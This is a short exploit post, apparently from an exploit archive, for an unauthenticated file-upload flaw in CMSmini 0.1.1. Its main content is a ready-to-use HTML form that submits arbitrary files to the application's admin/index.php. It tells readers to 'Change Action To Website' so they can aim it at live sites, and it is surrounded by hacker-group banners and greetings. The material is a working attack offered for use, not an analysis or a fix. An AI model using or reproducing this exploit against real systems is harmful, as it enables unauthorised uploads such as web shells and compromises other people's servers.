CMSmini 0.1.1 Upload File Exploit

+-----------------------------------------+
# Exploit Title: CMSmini 0.1.1 Upload File Exploit
# Author: Dr.KroOoZ
# Software : http://sourceforge.net/projects/cmsmini/files/cmsmini/cmsmini-0.1/cmsmini-0.1.tar.gz/download
# Tested on: Linux - Windows
# Dork : No Dork :D
+-----------------------------------------+
       _           _     _      ___       
      | |         | |   | |    / _ \      
      | |_   _ ___| |_  | |__ | | | |__  __
  _   | | | | / __| __| | '_ \| | | |\ \/ /
 | |__| | |_| \__ \ |_  | |_) | |_| | >  <
  \____/ \__,_|___/\__| |_.__/ \___/ /_/\_\
                                            
+-----------------------------------------+                                       
[-] Exploit :

<title># Upload ~ Just B0x3d </title>
<form action="http://localhost/cmsmini-0.1/admin/index.php?path=" method="post" enctype="multipart/form-data">
<pre>
+-----------------------------------------+  
<font color="#FF0000">       _           _     _      ___       
      | |         | |   | |    / _ \      
      | |_   _ ___| |_  | |__ | | | |__  __
  _   | | | | / __| __| | '_ \| | | |\ \/ /
 | |__| | |_| \__ \ |_  | |_) | |_| | >  <
  \____/ \__,_|___/\__| |_.__/ \___/ /_/\_\
                                            </font>
+-----------------------------------------+  
<p align="center"><font face="Tahoma" size="2" color="#FF0000">CMSmini 0.1.1 Upload File Exploit</font></p>

<font face="Tahoma">Just B0x3d : <input align="Center" type="file" name="imagefile" id="imagefile" size="23" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" />&nbps;&nbps;&nbps; <input type="submit" name="newimage" value="Upload " style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" /></font></pre>
<p>&nbps;</p>

</form>
<font face="Tahoma">

<p align="center" dir="ltr"><font face="Tahoma" size="2">
<a href="http://www.sec4ever.com">www.sec4ever.com</a> </font></p>
<p align="center" dir="ltr"><font face="Tahoma" size="2">
<a href="http://www.d-k-t.tk">www.d-k-t.tk</a> </font></p>
<p align="center" dir="ltr"><font face="Tahoma" size="2">Dr.KroOoZ | b0x</font></p>
</center>
</body>
</font>
</html>

Change Action To Website :D
This Video : http://www.youtube.com/watch?v=l-dzH0eWZm0
+-----------------------------------------+
[»] Mail : [email protected]
[»] Mail : www.d-k-t.tk
+-----------------------------------------+
[»] Dream'z KilleR [ D.K ] :
[ Dr.KroOoZ - No-QRQR ]
+-----------------------------------------+
[»] Greetz to:
[ New KilleR & b0x & FoX HaCkeR & Sn!pEr.S!Te & Ales McGregor & MjNoN HaCkEr & HaNiBaL KSA ]
+-----------------------------------------+



#  0day.today [2018-03-05]  #